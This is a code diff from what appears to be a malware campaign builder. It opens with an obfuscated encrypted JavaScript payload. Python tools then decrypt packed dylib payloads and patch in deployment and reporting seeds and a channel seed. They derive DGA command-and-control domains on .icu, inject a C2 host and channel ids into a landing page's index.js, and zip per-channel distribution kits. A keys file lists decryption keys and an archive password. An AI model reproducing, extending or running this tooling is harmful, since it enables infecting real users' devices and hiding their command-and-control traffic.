window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl")
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,14 +0,0 @@
[
{
"hash": "57620206d62079baad0e57e6d9ec93120c0f5247",
"size": 8309,
"sha256": "10c37b315a0e476e8f4a47352a7ab995cdce695c53f1586c1420301c4effdeb1",
"head": "let r={};function i(t){return window.BigInt?BigInt(t):t}r.U=i;const u=i(549755813887),o=(896953977 ^"
},
{
"hash": "14669ca3b1519ba2a8f40be287f646d4d7593eb0",
"size": 12475,
"sha256": "561f8c272cd40bd4750894e8d2db825928b173bdb53cd828e5a4bf72f940f581",
"head": "let r={};const x=globalThis.obChTK.hPL3On(([118, 116, 117, 113, 115, 113, 115, 117, 39, 117, 113, 11"
}
]
@@ -1,4 +1,3 @@
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
@@ -6,8 +5,6 @@
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
<script>window.__CORUNA_CHANNEL__="__CHANNEL_C__";</script>
<script src="/t.js" defer></script>
</head>
<body>
<script type="text/javascript" src="index.js"></script>
@@ -0,0 +1,114 @@
"""Discover type-0x01 secondary stems/keys from helper + primary type-0x07."""
from __future__ import annotations
import hashlib
import re
import struct
from pathlib import Path
from _secondary_pack import F00D_MAGIC, chacha_crypt, decrypt_secondary_minjs, unwrap_xz
NAME_RE = re.compile(rb"([0-9a-f]{40}\.min\.js)")
DEFAULT_HELPER_STEM = "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb"
def parse_f00d_entries(data: bytes) -> list[dict]:
magic, count = struct.unpack_from("<II", data, 0)
if magic != F00D_MAGIC:
raise ValueError("not F00DBEEF")
if not 1 <= count <= 16:
raise ValueError(f"unexpected F00DBEEF entry count {count}")
entries = []
for i in range(count):
typ, flags, offset, size = struct.unpack_from("<4I", data, 8 + i * 16)
payload = data[offset : offset + size]
if len(payload) != size:
raise ValueError("truncated F00DBEEF payload")
entries.append(
{
"type": (typ >> 16) & 0xFFFF,
"type_raw": typ,
"flags": flags,
"offset": offset,
"size": size,
"payload": payload,
}
)
return entries
def parse_07_slots(payload: bytes) -> list[dict]:
"""type-0x07 records: 32-byte ChaCha key immediately before `{40hex}.min.js`."""
slots = []
for match in NAME_RE.finditer(payload):
name = match.group(1).decode("ascii")
start = match.start()
if start < 32:
continue
key = payload[start - 32 : start]
slots.append({"stem": name[:-7], "file": name, "key": key.hex()})
return slots
def decrypt_pack(blob: bytes, key: bytes) -> bytes:
return unwrap_xz(chacha_crypt(blob, key))
def discover_secondary_stems(
weifile: Path,
helper_key: bytes,
helper_stem: str = DEFAULT_HELPER_STEM,
) -> dict[str, dict]:
"""Return stem -> {key, size, sha256} for every type-0x01 pointed at by primaries."""
helper_path = weifile / f"{helper_stem}.min.js"
if not helper_path.is_file():
raise FileNotFoundError(f"missing helper pack: {helper_path}")
helper_plain = decrypt_pack(helper_path.read_bytes(), helper_key)
primary_slots = []
for entry in parse_f00d_entries(helper_plain):
if entry["type"] == 7:
primary_slots.extend(parse_07_slots(entry["payload"]))
if not primary_slots:
raise ValueError("helper type-0x07 had no primary slots")
stems: dict[str, dict] = {}
for slot in primary_slots:
primary_path = weifile / slot["file"]
if not primary_path.is_file():
raise FileNotFoundError(f"missing primary pack: {primary_path}")
primary_plain = decrypt_pack(primary_path.read_bytes(), bytes.fromhex(slot["key"]))
for entry in parse_f00d_entries(primary_plain):
if entry["type"] != 7:
continue
for secondary in parse_07_slots(entry["payload"]):
stem = secondary["stem"]
path = weifile / secondary["file"]
if not path.is_file():
raise FileNotFoundError(f"missing secondary pack: {path}")
dylib = decrypt_secondary_minjs(path.read_bytes(), bytes.fromhex(secondary["key"]))
digest = hashlib.sha256(dylib).hexdigest()
prev = stems.get(stem)
if prev and prev["key"] != secondary["key"]:
raise ValueError(f"conflicting keys for {stem}")
stems[stem] = {
"key": secondary["key"],
"size": len(dylib),
"sha256": digest,
"dylib": dylib,
}
if not stems:
raise ValueError("no type-0x01 secondaries discovered")
return stems
def group_by_dylib_hash(stems: dict[str, dict]) -> dict[str, bytes]:
"""Unique plaintext dylibs keyed by sha256."""
groups: dict[str, bytes] = {}
for info in stems.values():
digest = info["sha256"]
if digest not in groups:
groups[digest] = info["dylib"]
elif groups[digest] != info["dylib"]:
raise ValueError(f"dylib hash collision for {digest}")
return groups
+117 -117
View File
@@ -1,14 +1,18 @@
#!/usr/bin/env python3
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
Artifact layout (shared, not per-channel folders):
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
Artifact layout:
{artifact-root}/details/ served landing /details/
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
"""
from __future__ import annotations
@@ -24,6 +28,7 @@ from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
"channel",
"out",
"t",
"nb",
"a",
"u",
"uj",
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
return count
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
b"https://backup%u.icu",
b"https://%@",
b"https://",
b"https",
)
def http_cstring(https_s: bytes) -> bytes:
if not https_s.startswith(b"https"):
raise SystemExit(f"not an https C-string: {https_s!r}")
return b"http" + https_s[5:]
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
if b"\x00" in old or b"\x00" in new:
raise SystemExit(f"{label}: C-string must not contain NUL")
if len(new) > len(old):
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
old_c = old + b"\x00"
new_c = new + b"\x00" * (len(old_c) - len(new))
count = 0
start = 0
while True:
index = buf.find(old_c, start)
if index < 0:
break
buf[index : index + len(old_c)] = new_c
count += 1
start = index + len(old_c)
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
f"count={count} (want {expect})"
)
return count
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
if scheme == "https":
for old in HTTPS_CSTRINGS:
if buf.find(old + b"\x00") < 0:
raise SystemExit(f"{label}: missing {old.decode()}\\0")
return
if scheme != "http":
raise SystemExit("--scheme must be http or https")
for old in HTTPS_CSTRINGS:
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
raise SystemExit(f"{label}: https URL formats still present")
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
raise SystemExit(f"{label}: http URL formats missing after patch")
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
def load_keys() -> dict:
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta.get("stems")
if not isinstance(stems, dict) or not stems:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
helper_hex = meta.get("helper_key")
if not isinstance(helper_hex, str) or not helper_hex:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
try:
discovered = discover_secondary_stems(
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
)
except Exception as exc:
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
hash_to_group: dict[str, str] = {}
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
digest = sha256_hex(path.read_bytes())
group = path.name.split("_")[1]
if digest in hash_to_group and hash_to_group[digest] != group:
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
hash_to_group[digest] = group
if not hash_to_group:
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
stems: dict[str, dict] = {}
for stem, info in discovered.items():
group = hash_to_group.get(info["sha256"])
if not group:
raise SystemExit(
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
)
stems[stem] = {"key": info["key"], "group": group}
if not stems:
raise SystemExit("discovered zero type-0x01 secondaries")
meta["stems"] = stems
return meta
@@ -225,13 +206,11 @@ def patch_dylib(
reporting_seed: str,
channel_c: str,
label: str,
scheme: str = "https",
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
patch_url_scheme(buf, scheme=scheme, label=label)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
@@ -306,11 +285,28 @@ def build_details(
}
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
text = html_path.read_text(encoding="utf-8")
if CHANNEL_HTML_PLACEHOLDER not in text:
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
def normalize_channel_code(value: str) -> str:
code = (value or "").strip().upper()
if not CHANNEL_CODE_RE.fullmatch(code):
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
if code.lower() in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-code {code!r} is reserved")
return code
def patch_index_js_host(text: str, host: str) -> str:
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
if not XXBB_DGA_HOST_RE.fullmatch(host):
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
def new_channel_c() -> str:
while True:
value = gen_seed()
if value != SEVEN_ZIP_PASSWORD:
return value
def copy_tree(src: Path, dst: Path) -> None:
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def validate_channel_name(value: str) -> str:
name = (value or "").strip().lower()
if not CHANNEL_NAME_RE.fullmatch(name):
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
if name in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-name {name!r} is reserved")
return name
def gen_seed() -> str:
return secrets.token_hex(16)
@@ -419,15 +406,23 @@ def resolve_seeds(
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
random_c: bool = False,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
if random_c and (cli_c or "").strip():
raise SystemExit("use either --channel-c or --random-c, not both")
existing = load_lab_seeds(lab_seeds_path)
channel_c = (cli_c or "").strip() or (
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
)
if random_c:
channel_c = new_channel_c()
elif (cli_c or "").strip():
channel_c = cli_c.strip()
elif existing and existing.get("channel_c"):
channel_c = str(existing["channel_c"])
else:
channel_c = new_channel_c()
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
)
parser.add_argument(
"--channel-name",
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
"--random-c",
action="store_true",
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain weifile/ and details/",
help="directory that will contain details/ (default: ../public)",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
help="intermediate .min.js / dylibs (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="write shared {artifact}/weifile/ and {artifact}/details/",
help="write {artifact}/details/ and {state}/out/weifile/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace existing weifile/ and details/ (default with --apply)",
)
parser.add_argument(
"--scheme",
choices=("http", "https"),
default="https",
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
help="replace existing details/ and staged weifile (default with --apply)",
)
args = parser.parse_args()
@@ -533,12 +523,9 @@ def main() -> int:
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
random_c=args.random_c,
)
# Optional legacy flag; shared layout no longer uses per-channel folders.
if args.channel_name:
validate_channel_name(args.channel_name)
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
@@ -552,7 +539,6 @@ def main() -> int:
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme=args.scheme,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
@@ -585,13 +571,15 @@ def main() -> int:
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = ""
weifile_path = None
details_path = ""
staged_weifile = ""
iptj_host = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_weifile = artifact / WEIFILE_ROOT
dest_details = artifact / DETAILS_ROOT
# Shared trees are always replaced on --apply.
dest_weifile = state_root / "out" / WEIFILE_ROOT
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
@@ -600,7 +588,6 @@ def main() -> int:
landing = dest_weifile / LANDING_NAME
if not landing.is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
inject_channel_into_weifile(landing, channel_c)
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
@@ -609,11 +596,24 @@ def main() -> int:
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied weifile -> {dest_weifile}")
hosts = list(domains.get("deployment") or [])
if not hosts:
raise SystemExit("no DGA domains computed from channel_c")
iptj_host = hosts[0]
index_path = dest_weifile / "index.js"
if not index_path.is_file():
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
index_path.write_text(
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
encoding="utf-8",
)
print(f"staged weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
print(f"index.js iptj host -> {iptj_host}")
details_path = f"/{DETAILS_ROOT}/"
staged_weifile = str(dest_weifile)
print(f"XXBB_CHANNEL_C={channel_c}")
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
@@ -624,10 +624,11 @@ def main() -> int:
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"weifile_path": weifile_path,
"support_path": None,
"details_path": details_path or None,
"staged_weifile": staged_weifile or None,
"iptj_host": iptj_host or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": bool(args.apply),
"domains": domains,
@@ -638,15 +639,14 @@ def main() -> int:
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"stem_count": len(built),
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"scheme": args.scheme,
"notes": [
"secondary + corepayload c patched; domains follow channel_c DGA",
"shared artifact paths: /weifile/weifile.html and /details/",
"index.js iptj URL / channelCode not patched",
"details published to /details/; weifile staged under state-root/out/weifile",
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
@@ -20,7 +20,6 @@ def main() -> int:
parser = argparse.ArgumentParser(
description="Shared weifile/details are not deleted per channel (noop)."
)
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
parser.add_argument(
"--artifact-root",
type=Path,
@@ -32,7 +31,6 @@ def main() -> int:
result = {
"status": "skipped",
"reason": "shared_weifile_details",
"channel_name": (args.channel_name or "").strip().lower() or None,
"artifact_root": str(artifact_root),
"removed": False,
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
+141
View File
@@ -0,0 +1,141 @@
#!/usr/bin/env python3
"""Pack a per-channel weifile zip from the already-built staged tree.
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
2. Replace CACACACA in index.js with the 8-char channel id
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
"""
from __future__ import annotations
import argparse
import json
import tempfile
from pathlib import Path
from zipfile import ZIP_DEFLATED, ZipFile
import build as xxbb_build
RESULT_MARKER = xxbb_build.RESULT_MARKER
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
def staged_weifile_dir(state_root: Path) -> Path:
return state_root / "out" / WEIFILE_ROOT
def patch_channel_code(text: str, channel_code: str) -> str:
if INDEX_CHANNEL_PLACEHOLDER not in text:
raise SystemExit(
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
"re-run tools/build.py --apply"
)
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
zip_path.parent.mkdir(parents=True, exist_ok=True)
if zip_path.exists():
zip_path.unlink()
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
for path in sorted(weifile_dir.rglob("*")):
if not path.is_file():
continue
if path.name in skip or path.suffix == ".pyc":
continue
if any(part in skip for part in path.relative_to(weifile_dir).parts):
continue
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
archive.write(path, rel.as_posix())
return zip_path
def pack_channel(
*,
channel_code: str,
weifile_src: Path,
zip_out: Path,
) -> dict:
code = xxbb_build.normalize_channel_code(channel_code)
index_src = weifile_src / "index.js"
if not index_src.is_file():
raise SystemExit(
f"staged weifile missing ({index_src}). "
"Run: python tools/build.py --apply"
)
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / WEIFILE_ROOT
xxbb_build.copy_tree(weifile_src, dest)
index_path = dest / "index.js"
index_path.write_text(
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
encoding="utf-8",
)
write_zip(dest, zip_out)
return {
"campaign": "xxbb",
"builder_type": "new",
"channel_code": code,
"zip_path": str(zip_out),
"weifile_src": str(weifile_src),
}
def main() -> int:
parser = argparse.ArgumentParser(
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
)
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"builder state (default: {xxbb_build.default_state_root()})",
)
parser.add_argument(
"--weifile-src",
type=Path,
default=None,
help="staged weifile directory (default: <state-root>/out/weifile)",
)
parser.add_argument(
"--zip-out",
type=Path,
required=True,
help="output zip path",
)
args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
zip_out = args.zip_out.resolve()
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file():
try:
seeds = json.loads(seeds_path.read_text())
if isinstance(seeds, dict):
result["seeds"] = {
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"channel_c": seeds.get("channel_c"),
}
result["domains"] = seeds.get("domains") or {"deployment": [], "reporting": []}
except json.JSONDecodeError:
pass
print(f"packed {result['channel_code']} -> {zip_out}")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
if __name__ == "__main__":
raise SystemExit(main())
+56 -14
View File
@@ -1,5 +1,7 @@
{
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
"note": "Per-stem ChaCha20 keys from FAFA9988 primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds (different bytes); B is 747936. build.py also rediscovers stems from source/weifile via helper type-0x07.",
"source": "FAFA9988/weifile",
"helper_stem": "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb",
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
"originals": {
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
@@ -8,25 +10,65 @@
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
},
"stems": {
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
"group": "A"
"1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6": {
"key": "9622b5532c3308ad21fbc7d76974f791f62c544e7f11e5b42aba18790d33d930",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
"group": "B"
},
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
"group": "B"
},
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
"group": "B"
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
"group": "C"
"group": "C",
"sha256": "7ccfbf4450c5c68822989cf9cdf5d68a79b65a0e0047340cb1c28c834a821953",
"size": 715760
},
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"667fa543143862135ab6b41740421a4752799863": {
"key": "04da244132e7096db7a58bd0d683088df7e09b0cf8ddd39af0210b072484c56d",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
